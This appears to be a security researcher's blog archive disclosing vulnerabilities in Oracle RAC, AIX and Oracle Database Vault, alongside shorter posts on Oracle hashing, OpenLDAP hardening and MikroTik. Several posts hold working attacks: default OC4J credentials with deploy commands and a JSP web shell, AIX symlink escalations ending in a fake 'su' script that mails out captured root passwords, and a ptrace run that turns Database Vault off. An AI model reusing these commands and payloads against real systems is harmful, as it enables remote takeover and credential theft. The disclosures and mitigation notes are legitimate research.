Archive for the ‘Security’ Category

New exploits for recent Oracle DB releases…

Sunday, June 22nd, 2014

Exploit probably for CVE-2013-5858 (according to Jan 2014 CPU’s Oracle Database Server Risk Matrix ) has been revealed in blog posts Is your database secure? Are you sure? Are you *really* sure? and here Major Data Exploit Patched by January 2014′s CPU – internal Oracle RDMS JRE is vulnerable, CREATE SESSION privilege is enough (so with just account without even CREATE TABLE one can takeover DBA privs), not fixed yet (just sent to Oracle), no workaround given yet; I think it is just matter of time once reproduces this… :)

CVE-2013-1534: remote command execution on Oracle RAC (Grid Infrastructure >= 11.2.0.[23].0 till PSU/CPU Apr2013)

Thursday, January 23rd, 2014

In April 2013 Oracle fixed CVE-2013-1534 an attack that I’m going to describe here as the guy who originally found it in February 2012 (it was an 0-day for more than a year). For official information please go here Critical Patch Update April 2013. One thing though i do not agree with Oracle that it scored it with score 7.5. This statement goes like this “For Linux, Unix and other platforms, the CVSS Base Score is 7.5, and the impacts for Confidentiality, Integrity and Availability are Partial+.” Basically this is remote attack that gains Oracle Grid Infrastructure owner privileges (basically “oracle”/”dba” in 99% cases) on clustered (RAC) Oracle databases, which gives you access in read/write mode to *all* data. Here I’m following responsible disclosure (vendor notified, fixed, clients alerted) … many, many months later I think all responsible people who care have already patched their Oracle RAC systems… for Patch Set this means it has been fixed via Grid Infrastructure + DB PSU (PatchSetUpdate) >= (current PSU is; for the recommended Oracle Alert docId is 1525152.1: Patch Set Update and Critical Patch Update April 2013 Availability Document).

Oracle starting in release of Grid Infrastructure 11gR2 (technically added something like Quality of Service (QoS) for Databases which in practice gives ability for DBAs to better utilize usage of resource between nodes in cluster in compatibility with business requirements. SLA are being managed by the newly introduced QoS functionality by placing workloads on “server pools”. QoS in was not full activated but starting in Grid Infrastructure it is online by default, even without confirmation, etc. It is also being activated by default on any upgrade.

The QoS on RAC/Grid Infrastructure is partially being implemented by embedded Oracle Containers for Java (OC4J).

qosadmin account (with always default pw of “oracle112″ per Oracle documentation on every install) has always an oc4j-administrators role assigned in /u01/app/11.2.0/grid/oc4j/j2ee/home/OC4J_DBWLM_config ($GRID_HOME/oc4j/j2ee/home/OC4J_DBWLM_config) in file system-jazn-data.xml (JAZN stands for Java AuthoriZatioN). The same security configuration file is also being used as place to control of whether username:password pair is authorized to deploy any J2EE application.

This means that OC4J is prone to arbitrary command execution on any Oracle clustered (RAC) database running at least on top of Oracle Clusterware (AKA Grid Infrastructure) >=, until CPU (PSU) April 2013 has been applied. This affects both customers using QoS and those not using it. The reason is because OC4J service (serving HTTP interface over port 8888) is always and by definition enabled. The attack would by definition use “qosadmin” account… The QoS for RAC documentation (which nobody does read because it is “new” feature and by definition nobody uses nothing in production like this) states that the password for “qosadmin” should be changed because it may be used for QoS-related functionality. The remaining functionality seems to be not enabled because it was not configured… but there’s more.

What’s more interesting is that there is second account named “oc4jadmin” (a typical default OC4J admin), after brute-forcing it also appears to be set to “oracle112″… on every installation out there… and you won’t find a single line in official documentation for RAC that this “backdoor” should be disabled. So in summary every RAC >= on this planet has the same passwords set for uploading J2EE applications remotely over RMI (Java thing). The oc4jadmin account is also assigned the oc4j-administrators role.

Some more details:
a) platform independent (100% success rate) exploitation vector
b) arbitrary command execution
c) gives UID of Oracle Grid Infrastructure software owner (typically “oracle” [1] or “grid” [2])
d) affects RAC >=, >=, has been tested on
[*] (linux x86_64),
[*] (linux x86_64),
[*] // CPU Jan2012
[*] // CPU Apr2012
[*] // CPU Jan2013
e) so by definition it will also work against flagship Oracle Exadata “Unbreakable” Database Machine ( as it utilizes Oracle RAC/Grid Infrastructure
f) this thing is remote
g) this thing does NOT require any sort of authentication (just plain TCP/IP connectivity to the servers is enough)
h) vulnerability is present in any installation of Oracle Grid Infrastructure >=
i) no social engineering is required at all
j) remote ports 23792 and 8888 needs to be reachable to at least single RAC node (the one running the RMI service)
k) it does NOT work against Oracle Restart (single server non-RAC Grid Infrastructure installation)

[1] – by being “oracle” UNIX/Linux user one can connect “/ AS SYSDBA” so it is full compromise of data (including modification). Additionally because it is compromise giving shell access it is very easy to also defeat Oracle Database Vault (additional option for segregation of DBAs from users – think in terms of MAC vs DAC [4]). If you are interested in defeating Oracle Databases with Vault option then I recommend you the following link :)

[2] – when a new feature “Role Separation” introduced in 11gR2 [separates ASM/Grid/Clusterware admins from DBAs] is deployed, which is very rare, it is still possible to get root, I’ll blog about it in future. That’s why probably Oracle scored it CVSS 7.5, but the main point is it is very rare to see separated Grid Infrastructure owner from Oracle RDBMS Home owner

….ooooOOOO Exploitation Demonstration OOOOoooo…..

OC4J provides a command-line utility, admin.jar and admin_client.jar. You can use any of them however I’ve only tested admin.jar (which of course is installed with any OC4J, RAC >= software too). Both JARs are actually just simple tools to upload single EAR file and reconfigure remote OC4J so that is starts serving requests for certain uploaded applications under specific URLs. We are going to upload cmd.ear :) The best documentation on them comes directly from Oracle e.g. here

The easiest way to get the admin.jar (however I’ve used the one coming with RAC) is to download it from Oracle OC4J download page as it contains “OC4J Admin Client” (link , 3 disks, total 1.4GB). Probably you need to use admin.jar/admin_client.jar as close to the version of OC4J being attacked (e.g. usage of 9.x.x admin.jar might fail uploading to RAC >= as the OC4J embedded there is at version 10.1.3, etc). I would recommend installing it on RHEL/OL compatible Linux distribution if possible (due to the enterprise nature of Oracle software). The other thing is that you could probably use some ready-to-run RAC VirtualMachine Linux template from Oracle (works for me under XEN). I’ve also tried the metasploit generic RMI uploaders (for JBoss if i remember correctly) but I’ve failed (perhaps it’s possible, but IMHO there are more easy ways).

Actually there are only 2 commands and 1 click to exploit this vulnerability. You do not need to write any tools/exploits, just execute several commands to upload cmd.ear onto vulnerable RAC installation due to the default passwords being deployed.

1. Deploy/upload file (exploit) to vulnerable RAC cluster

Detail: java -jar admin.jar ormi://<target>:23792 qosadmin oracle112  -deploy -file <path_cmd_exploit.ear> -deploymentName cmd


[root@attacker home]# /u01/app/11.2.0/grid/jdk/jre/bin/java -jar admin.jar ormi://labr2:23792 qosadmin oracle112  -deploy -file ~/cmd.ear -deploymentName cmd
Uploading file /root/cmd.ear to oc4j server side
[ 2012-06-08 08:14:39.290 EDT ] Application Deployer for cmd STARTS.
[ 2012-06-08 08:14:40.850 EDT ] Copy the archive to /u01/app/11.2.0/grid/oc4j/j2ee/home/applications/cmd.ear
[ 2012-06-08 08:14:40.879 EDT ] Initialize /u01/app/11.2.0/grid/oc4j/j2ee/home/applications/cmd.ear begins...
[ 2012-06-08 08:14:40.881 EDT ] Unpacking cmd.ear
[ 2012-06-08 08:14:40.887 EDT ] Done unpacking cmd.ear
[ 2012-06-08 08:14:40.895 EDT ] Unpacking cmd.war
[ 2012-06-08 08:14:40.905 EDT ] Done unpacking cmd.war
[ 2012-06-08 08:14:40.906 EDT ] Initialize /u01/app/11.2.0/grid/oc4j/j2ee/home/applications/cmd.ear ends...
[ 2012-06-08 08:14:40.907 EDT ] Starting application : cmd
[ 2012-06-08 08:14:40.907 EDT ] Initializing ClassLoader(s)
[ 2012-06-08 08:14:40.908 EDT ] Initializing EJB container
[ 2012-06-08 08:14:40.909 EDT ] Loading connector(s)
[ 2012-06-08 08:14:40.921 EDT ] Starting up resource adapters
[ 2012-06-08 08:14:40.921 EDT ] Initializing EJB sessions
[ 2012-06-08 08:14:40.922 EDT ] Committing ClassLoader(s)
[ 2012-06-08 08:14:40.922 EDT ] Initialize cmd begins...
[ 2012-06-08 08:14:40.927 EDT ] Initialize cmd ends...
[ 2012-06-08 08:14:40.929 EDT ] Started application : cmd
[ 2012-06-08 08:14:40.932 EDT ] Application Deployer for cmd COMPLETES. Operation time: 1642 msecs

[root@attacker home]#

2. Now we bind EAR(application/exploit) to the URL of OC4J server
Once the J2EE(EAR) application has been deployed you need to bind it to visible URL:

[root@attacker home]# /u01/app/11.2.0/grid/jdk/jre/bin/java -jar admin.jar ormi://labr2:23792 qosadmin oracle112 -bindWebApp cmd cmd default-web-site /cmd
[root@attacker home]#

Basically you can specify qosadmin or oc4jadmin, as I’ve stated earlier it doesn’t matter.

3. Profit!
OK, you need to open web-browser first and go to URL http://target:8888/cmd/cmd.jsp?cmd=id+-a , where target is one hostname of the RAC nodes

Or if you need kicking ass web GUI interface to own someone: http://RACtarget:8888/cmd/


p.s. the cmd.jsp (and EAR built from it – i’m not going to provide it) is very simple:

<%@ page import="java.util.*,*"%>
Commands with JSP
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                disr = dis.readLine();

CVE-2012-0723: first worlds AIX system call fuzzer and it’s interesting results

Monday, October 7th, 2013

I’ve been intrigued for a long by the so called fuzzers, I’ve wanted to give it a try on AIX some time ago. Let’s take one of the most recent AIX release that i had at that time, e.g. 6.1 Technology Level #6 Service Pack #4 (btw it works on too):

$ oslevel -s
$ id
uid=100(guest) gid=100(usr)
$ ./ble
[After a while system reboots]

root@XYZ:# errpt -j 67145A39 -A
Date/Time:       Fri Sep 16 05:06:17 EDT 2011
Type:            UNKN
Resource Name:   SYSDUMP
Detail Data
Fri Sep 16 05:04:31 2011
0000 0000 0000 0000
Compressed dump - Run dmpfmt with -c flag on dump after uncompressing.




(0)> where
pvthread+011200 STACK:
[004CEB5C]rmsock+00001C (F3FCC00000000000 [??])
[00003850]ovlya_addr_sc_flih_main+000130 ()
[kdb_get_virtual_memory] no real storage @ 2FF22AC8
[1000070C]1000070C ()
[kdb_read_mem] no real storage @ FFFFFFFFFFF9610


On different system 6100-03-01-0921:

(0)> where
pvthread+00AF00 STACK:
[0043DCFC]rmsock+00001C (F3FC000000000000 [??])
[00003844].svc_instr+000144 ()
[kdb_get_virtual_memory] no real storage @ 2FF229D0
[10000590]10000590 ()
[kdb_read_mem] no real storage @ FFFFFFFFFFF9680

As you can see above it attempted any random syscall but on rmsock() – executed by non privileged user – it rebooted system (because of attributes on sys0 device that cause to reboot kernel in case of kernel panic). Typical Denial of Service attack, isn’t it?

Now let’s try something more intelligent (found during the research) – using only syscall number 793 on version 6100-06-04-1112:

$ ./ble 793
using only sc=793

.. and the system is dead. In AIX kernel debugger session on dump file after reboot you can see that even the system vector call instruction handler seems to be not visible, perhaps indicating some kind of memory overwrite in kernel space. (Probably) this could be exploited with finding offset of privilege access structure handling all UID/GIDs

(0)> where
pvthread+018C00 STACK:
[0001BF00]abend_trap+000000 ()
[000C585C]xm_bad_free+00025C (??, ??, ??, ??)
[000C4F30]xmfree+0004F0 (??, ??)
[046A7868]ptx_get_ndd_tree+000088 (??, ??, ??, ??, ??)
[00003850]ovlya_addr_sc_flih_main+000130 ()
[kdb_get_virtual_memory] no real storage @ 2FF22AC8
[1000070C]1000070C ()
[kdb_read_mem] no real storage @ FFFFFFFFFFF9640

(0)> ppid 06400D8
              SLOT NAME     STATE      PID    PPID          ADSPACE  CL #THS

pvproc+019000  100*ble      ACTIVE 06400D8 07700C8 0000000848B32480   0 0001

IDENTIFIER. uid        :00000064  ........... suid       :00000064
........... pid        :006400D8  ........... ppid       :007700C8
........... sid        :006E0092  ........... pgrp       :006400D8
(0)> nm pvproc
Symbol Address : F1000F0A00000000
   TOC Address : 02B65540


so as you can see UID of our “ble” system call fuzzing process was 0×64 (or in 100 if you are uncomfortable with hex notations). By changing value at address 0xF1000F0A00000000+0×19000 one could get root shell probably, but researching my way to do that could be very time intensive.

And sample from most recent AIX 7.1 that I was having access to:

guest@hostA:# oslevel -s
guest@hostA:# ./ble 766
using only sc=766

… and the system is dead:

(2)> where
pvthread+011100 STACK:
[F1000000C01E06CC]dupb+00000C (0000000030CBEE17 [??])
[F1000000C01E05DC]dupmsg+00001C (??)
[00014D70].hkey_legacy_gate+00004C ()
[0000386C]ovlya_addr_sc_flih_main+00014C ()
[kdb_get_virtual_memory] no real storage @ FFFFFFFF3FFFE60
[kdb_read_mem] no real storage @ FFFFFFFFFFF95F0


IBM has been notified months ago, patch has been released some time ago: (affects AIX 5.3, 6.1 and 7.1 plus all VIOS too). Happy patching :)


CVE-2012-2179: lsvg(1) AIX61/71 – libodm.a vulnerable due to the ODMERR env

Thursday, July 12th, 2012

This is new local attack for at least AIX 6.1 / 7.1 or at least there were enough time for anyone seriously considering security to patch their systems (IBM released info on 2012-06-22, today is 2012-07-12) … this is typical arbitrary file overwrite symlink vulnerability due to libodm.a bug giving local root. libodm.a (in this case used by SUID lsvg) performs an getenv(“ODMERR”) – undocumented env variable – which if is set triggers the debug code to dump the contents of debug log message generated in runtime by libodm.a to always the same file – ODMTRACE0 (or ODMTRACE1, etc) in current runtime directory (seems to be related to getcwd()). Proof:

guest@XXX:# oslevel -s
guest@XXX:# export ODMERR=1
guest@XXX:# ln -s /etc/ssh/sshrc ODMTRACE0
guest@XXX:# ls -l
total 0
lrwxrwxrwx    1 install  staff            14 Dec 22 05:42 ODMTRACE0 ->
guest@XXX:# umask 0000
guest@XXX:# lsvg
guest@XXX:# ls -l
total 0
lrwxrwxrwx    1 install  staff            14 Dec 22 05:42 ODMTRACE0 ->
guest@XXX:# head -3 ODMTRACE0
 __odm_initfini_init: Start
 __odm_initfini_init: End
 odm_set_path: Start
guest@XXX:# ls -l /etc/ssh/sshrc
-rw-rw-rw-    1 root     staff          7332 Dec 22 05:42 /etc/ssh/sshrc
guest@XXX:# vi /etc/ssh/sshrc
# a lot of typing
guest@XXX:# cat /etc/ssh/sshrc
# proof of concept for lsvg(1) AIX61/71 0-day exploit, 22/12/2011, vnull
# /etc/environment usually sets PATH from scratch so we have to
# cheat via ~/.profile which is read by user's shell at later stage

mkdir /tmp/$$
cat > /tmp/$$/su << EOF
#this would be a su backdoor sendming email or transmiting pw over dns...
echo -e "root's Password: \c"
stty -echo
read PW
stty echo
#echo your PW is \$PW
echo \$USER \$HOSTNAME \$PW | mail -s cookie >
/dev/null 2>&1
echo '[compat]: 3004-300 You entered an invalid login name or password.'
echo '3004-501 Cannot su to "root" : Authentication is denied.'
rm -f /tmp/$$/su
exit 0
chmod 755 /tmp/$$/su

cat >> ~/.profile << EOF
export PATH=/tmp/$$:$PATH


How does it work? If the above attack is performed, and somebody else logs in using ssh remotely (root or just simple user), then /etc/ssh/sshrc contents are executed (by sshd) with his privilege level. In this case PATH is altered to hijack “su” executions and obtain potentially password. This could be also adapted e.g. to catch “sudo” password too.

Potential workaround: drop all SUIDs from all binaries linked to libodm.a (yes i find it kind of hard due to need of dropping even SUID from lsvg, which may break a lot of IBM/3rd software, especially some agents using commands such as lsvg to monitoring stuff.

Fixed via CVE-2012-2179, more info here

Still IBM AIX doesn’t come with proper hardened protection against /tmp races as mentioned in previous blog entry about CVE-2011-1384. Timeline: almost 180 days to fix for IBM.

BTW: This proof of concept could be easily adapted to give instant root (as you can create any file that does not exists), but I’m not going to disclose weaponized versions.


CVE-2011-1384 AIX inventory scout file deletion and symlink vulnerability

Thursday, December 29th, 2011

It’s been two weeks after publishing official advisory by IBM for this vulnerability in AIX 5.3 (not tested by me) 6.1 (tested by me) and 7.1 (also tested by me) here so i’m going to talk a little bit about technical details. The attack is very trivial and it exists due to the SUID binary invscoutClient_VPD_Survey installed by default in any version of AIX.

guest@XXX:# ln -s /etc/ssh/sshrc /tmp/invtemp.log
guest@XXX:# umask 0000
guest@XXX:# /opt/IBMinvscout/bin/invscoutClient_VPD_Survey
guest@XXX:# ls -l /etc/ssh/sshrc
-rw-rw-rw-    1 root     staff         12591 May 20 03:18 /etc/ssh/sshrc
guest@XXX:# cat > /etc/ssh/sshrc
# place your commands here to be executed as owned users
guest@XXX:# ls -l /etc/ssh/sshrc
-rw-rw-rw-    1 root     staff            36 May 20 03:19 /etc/ssh/sshrc
guest@XXX:# oslevel -s
6100-06-02-1044       <-- YAY!
guest@XXX:# ls -l /opt/IBMinvscout/bin/invscoutClient_VPD_Survey
-r-sr-xr-x    1 root     system     11779340 Jun 30 2010  /opt/IBMinvscout/bin/invscoutClient_VPD_Survey

So what happens is that invscoutClient_VPD_Survey overwrites (or creates) anything located under /tmp/invtemp.log… even if it really exists. If it doesn’t exists (soft link to non-existing file such as e.g. /etc/ssh/sshrc) then it is created using default umask. Of course all of this works on every non-privileged user…

There are many attack vectors but I’m presenting /etc/ssh/sshrc here mainly because it is one of the simplest ones. After such attack nothing happens until someone logs into the box using SSH, then for example OpenSSH daemon is going to read and execute the contents of /etc/ssh/sshrc under the privileges of the logging in user (e.g. guest can hijack “admin” account or “root” account if that one is used e.g. for routine SSH activities after SSH key exchange; if only “admin” could be taken over, one can simply escalate privileges to “root” by installing hijacked version of “su” or “sudo” binary and altering $PATH – this would allow stealing root’s password and/or privileges)

Fixing is very trivial for this one, just follow the guide by IBM (yup, dropping the SUID does nothing wrong for your system).

Timeline is as follows:

  • Discovered: 19.05.2011
  • Submitted to IBM: 24.06.2011
  • 1st IBM response: 05.07.2011

Next ones to follow… however one thing worries me the most. Whole world knows about such kind class of attacks, but there is not a single major vendor on this planet that would prevent such kind of attacks from happening by hardening the OS kernel. For example GRSecurity and OpenWall projects are completely different, such kind of protection (symlink races, /tmp protection) exists for almost a decade there… but those are kernel patches for Linux, not something I would consider mainstream… unfortunately. GRSecurity is really excellent piece of work, they have implemented a realistic protection against realistic technical real-world flaws. So my question is simple, is any of the major OS vendors is interested in realistic security at all?

There is a also a very good discussion about /tmp UNIX/POSIX problems and general poor written code on LWN. Also the list of similar attacks is pretty long (as of writing 264 vulnerabilities).

Solution could be pretty obvious at the heart/kernel of such system as AIX, just implement logic such as following pseudo C code inside open(2)/creat(2) system calls:

if((flags & AM_I_WRITING) != 0) {

   if(is_symlink(fd) && symlink_endpoint_owner_is_different_user(fd, current_user)) {
      return -EACCES;

This may not be the best solution as GRSecurity has something like this, which may be much better suited for this particular problem:

bool “Linking restrictions”
If you say Y here, /tmp race exploits will be prevented, since users
will no longer be able to follow symlinks owned by other users in
world-writable +t directories (e.g. /tmp), unless the owner of the
symlink is the owner of the directory. users will also not be
able to hardlink to files they do not own. If the sysctl option is
enabled, a sysctl option with name “linking_restrictions” is created.

Serpent cipher rules…

Friday, August 19th, 2011

I’ve been always fan of (much more secure) Serpent cipher instead of AES/Rijandel and today I can feel like a messiah. Enjoy this article

BTW: from WIKI:
Serpent was widely viewed as taking a more conservative approach to security than the other AES finalists, opting for a larger security margin: the designers deemed 16 rounds to be sufficient against known types of attack, but specified 32 rounds as insurance against future discoveries in cryptanalysis.

Of course it doesn’t make AES completely useless, but it raises some concerns ;)


SHA1, SHA256, SHA512 in Oracle for free without using DBMS_CRYPTO

Thursday, May 21st, 2009

SHA1, SHA256, SHA512 in Oracle for free without using DBMS_CRYPTO! (yay! without Enterprise Edition!*) powered by GNU CRYPTO project

For detailed list of algorithms please consider this link. (much more than DBMS_CRYPTO in 11g, which requires you to buy Enterprise Edition).

[oracle@xeno src]$ ls -l
total 764
-rw-rw-r-- 1 vnull vnull    458 Mar  1 05:53
-rw-r--r-- 1 vnull vnull 598036 Mar  1 04:47 gnu-crypto.jar
-rw-r--r-- 1 vnull vnull  96430 Mar  1 04:47 javax-crypto.jar
-rw-r--r-- 1 vnull vnull  16969 Mar  1 04:47 javax-security.jar
-rw-rw-r-- 1 vnull vnull    214 Mar  1 05:27
-rw-rw-r-- 1 vnull vnull    145 Mar  1 05:27
-rw-rw-r-- 1 vnull vnull    152 Mar  1 05:18
-rw-rw-r-- 1 vnull vnull    152 Mar  1 05:18
[oracle@xeno src]$
[oracle@xeno src]$ loadjava -u vnull/*** -v -resolve *.java *.jar
arguments: '-u' 'vnull/***' '-v' '-resolve' '' '' '' '' '' 'gnu-crypto.jar' 'javax-crypto.jar' 'javax-security.jar'
Classes Loaded: 560
Resources Loaded: 3
Sources Loaded: 0
Published Interfaces: 0
Classes generated: 0
Classes skipped: 1
Synonyms Created: 0
Errors: 0
[oracle@xeno src]$

Now as SYSDBA:

SQL> conn vnull/***
SQL> CREATE OR REPLACE FUNCTION gnuhash_sha256 (string IN VARCHAR2) RETURN VARCHAR2 AS  LANGUAGE JAVA NAME 'SHA256.calcHash(java.lang.String) return java.lang.String';
  2  /

Function created.

SQL> CREATE OR REPLACE FUNCTION gnuhash_sha512 (string IN VARCHAR2) RETURN VARCHAR2 AS LANGUAGE JAVA NAME 'SHA512.calcHash(java.lang.String) return java.lang.String';
  2  /

Function created.

SQL> CREATE OR REPLACE FUNCTION gnuhash_sha1 (string IN VARCHAR2) RETURN VARCHAR2 AS LANGUAGE JAVA NAME 'SHA1.calcHash(java.lang.String) return java.lang.String';
  2  /

Function created.

SQL> select gnuhash_sha1('1234') from dual;


SQL> select gnuhash_sha256('1234') from dual;


SQL> select gnuhash_sha512('1234') from dual;



Verify results using OpenSSL :

[vnull@xeno ~]$ echo -n "1234" | openssl dgst -sha1
[vnull@xeno ~]$ echo -n "1234" | openssl dgst -sha256
[vnull@xeno ~]$ echo -n "1234" | openssl dgst -sha512
[vnull@xeno ~]$

A little bonus, performance verification: DBMS_CRYPTO from versus GNU.CRYPTO.HASH Java library running in JVM in Oracle (oracle_sha1 vs gnuhash_sha1, Oracle does not support SHA-2 standard yet, only SHA1=160 bits).

  2  RETURN sys.dbms_crypto.hash(UTL_I18N.STRING_TO_RAW ('1234','AL32UTF8'),
  3  sys.dbms_crypto.hash_sh1);
  4  END;
  5  /

Function created.

SQL> select oracle_sha1('1234') from dual;



From this quick & dirty test you can see there is only 4% performance difference between native DBMS_CRYPTO and GNU_HASH…


* = UPDATE(12/11/2013): please verify with your Oracle Sales representative. Depending on who you ask and how you ask you may get different answer. DBMS_CRYPTO doesn’t seem to be licensed as ASO anymore, same for SSL encryption for RAC databases even for SE, so in those scenarios if you dont want to have encrypted data on the write you may have less complicated alternatives, YMMV.

Oracle Database Vault, not so 0-day anymore, privilege escalation using ptrace(2) from UNIX account

Tuesday, November 18th, 2008

It seems, that there are many misunderstandings surrounding Database Vault (Oracle product for protecting sensitive data from company employees – such like *credit card* records and other very sensitve financial data). Oracle’s marketing tried to always claim that is product is able to protect data from administrators(!), which of course is not true. Let’s take the following excerpt from Database Vault whitepapper:

“Privileged users can be prevented from access application data and separation-of-duty can be enforced across existing database administrators without a costly and time consuming least privilege exercise.”

Of course you could assume (as I did) here that DV protects against SYSDBA role too. That’s why this ora_dv_mem_off.c was spawn. After contacting Oracle secalert (greetz to them for discussions) in Februrary/March this year, it is clear that without in-depth reading of “Appendix C” from official DV documentation you won’t get full picture of the solution. DV was not to designed to protect from OS side – that’s the main technical point here – any database is still open for attack from OS side even with DV. And SYSDBA seems to be disabled from the OS side: that’s correct, you won’t be able to perform “sqlplus / as sysdba” even as Oracle software owner, you can as: “/ as sysoper” at most. In order to perform administrative tasks you require downtime (to relink). So any SYSDBA logged on UNX software owner account could defeat DV (and gain access to sensitive data) but this would be easily spotted. Here’s another solution, disabling DV on runtime. So enjoy, for free this time!

And oh, there is theoretical possibility that in future Oracle DV would run under several different OS-user/uids processes, and thus would be able to protect from SYSDBA’s too, but this would need MAJOR rearchitecture.

QuickNote to the buisness: NO, you are still not able to prevent watching cash flows by Database Admins ;)

Typical escalation (allowing to login in as SYSDBA and allowing to create users – thus excluding Security Admin from the job;) ):

[oracle@xeno ora_dv_mem_off]$ !gcc
gcc -Wall ora_dv_mem_off.c -o ora_dv_mem_off -lbfd -liberty
ora_dv_mem_off.c: In function ‘locate_dv_func’:
ora_dv_mem_off.c:92: warning: initialization discards qualifiers from pointer
target type
ora_dv_mem_off.c:93: warning: initialization makes pointer from integer
without a cast

[oracle@xeno ora_dv_mem_off]$ ./ora_dv_mem_off
[17035] starting to trace sqlplus process (17036)
[***] NOW TYPE IN SQLPLUS: conn / as sysdba
[17035] execve() syscall in 17036

SQL*Plus: Release – Production on Wed Feb 27 18:56:55 2008

Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.

SQL> conn / as sysdba
[17035] clone() syscall in 17036, tracing orapid=17037
[17035] execve() syscall in 17037,
[17035] symbol “kzvtins” at 0xb185820
[***] sucessfuly validated function, DatabaseVault=1
[***] attempting to rewrite memory at 0xb185824
SQL> create user god identified by abc;

User created.

SQL> grant dba,dv_admin,dv_owner,connect,resource to god;

Grant succeeded.


Securing OpenLDAP – userPassword issue

Tuesday, June 26th, 2007

Unsecured OpenLDAP (slapd) server…

Output from Solaris 10 box:

-bash-3.00# ldaplist -l passwd test5
dn: uid=test5,ou=People,dc=lab1
uid: test5
cn: Johnny Doe
homeDirectory: /export/home/test5
userPassword: {MD5}DMF1ucDxtqgxw5niaXcmYQ==

After adding following snippet to OpenLDAP’s slapd.conf file we are preventing anyone from viewing user password(including Solaris LDAP proxy bind, excluding logging in user and admin/Manager of slapd):

access to attrs=userPassword,shadowLastChange
by dn="cn=admin,dc=lab1" write
by anonymous auth
by self write
by * read

-bash-3.00# ldaplist -l passwd test5
dn: uid=test5,ou=People,dc=lab1
uid: test5
cn: Johnny Doe
gecos: Johnny Doe,none,0,1,Johnny Doe
homeDirectory: /export/home/test5

Confidence 2007

Wednesday, May 9th, 2007

You can meet me on Confidence 2007 security event …

MikroTik #2

Tuesday, March 13th, 2007

Post z dnia: 10/09/2006

Wyslalem microHOWTO, kody cracka, itd. do Mikrotika, nawet nie dostalem emaila z podziekowaniem.
WNIOSEK: nie oplaca sie przekazywac takich informacji do firm. Jesli to crack to lepiej puscic w net przez kilka krajow ( chiny, brazylia ) przez proxy i wpuscic do p2p. No w koncu nie maja czasu podziekowac to na pewno znajda czas na prace 24h/24h i szacowanie strat. Zas jezeli to exploit, to najlepiej od razu robic full-advisory i miec w dupie producentow oprogramowania. To juz drugi raz kiedy tak zostalem potraktowany ( ani dziekuje, ani kopnij mnie w dupe ), wiekszosc przynajmniej dziekuje…

MikroTik #1

Tuesday, March 13th, 2007

Post z dnia: 08/09/2006

Wyslalem info o technice duplikowania(crackowania) Mikrotikow na tej samej licencji… do wlascicieli Mikrotika. Przyslali mi ze potencjalnie mi podziekuja ( ale z maila nie wynika zeby mi dziekowali?! ), i ze jesli im przekaze wiecej info to mnie nie oskarza w zaden sposob ( taki zrobilem sobie wymog ).

Napisali mi ze nie moga mi przyslac nawet swistka papierka mowiacego o mojej dobrej woli i umiejetnosciach… niech bedzie. Hehe z drugiej strony dziwne, ze sie przed tym nie zabezpieczyli – ta metoda dziala od 2004 roku ( oczywiscie w celach edukacyjnych ).

Cisco – security w ISP

Tuesday, March 13th, 2007

Post z dnia 15/08/2006:

Mam dobry pomysl na zabezpieczenie sieci klientow, zalety:

+ minimalizuje ilosc na prawde dobrych przelacznikow, tj. od cisco 2950 EE w gore
+ czyli mamy wszelkie zabezpieczenia typu IP source guard / ARPy itd.

- caly ruch klientow przebiega przez te wlasnie switche glowne(dobre),
- klienci musza byc wpieci jednak do switchy zarzadzalnych z VLANami ( ale juz nie
tak drogich ).
- jedyny alert to dostanie SNMP trapa od takiego huba a potem trzeba recznie dochodzic ktory to klient na tym switchu chce zerwania umowy.Niestety na chwile obecna nie mam w domu Cisco 29[567]0/35[567]0/4xxx/6xxx ;)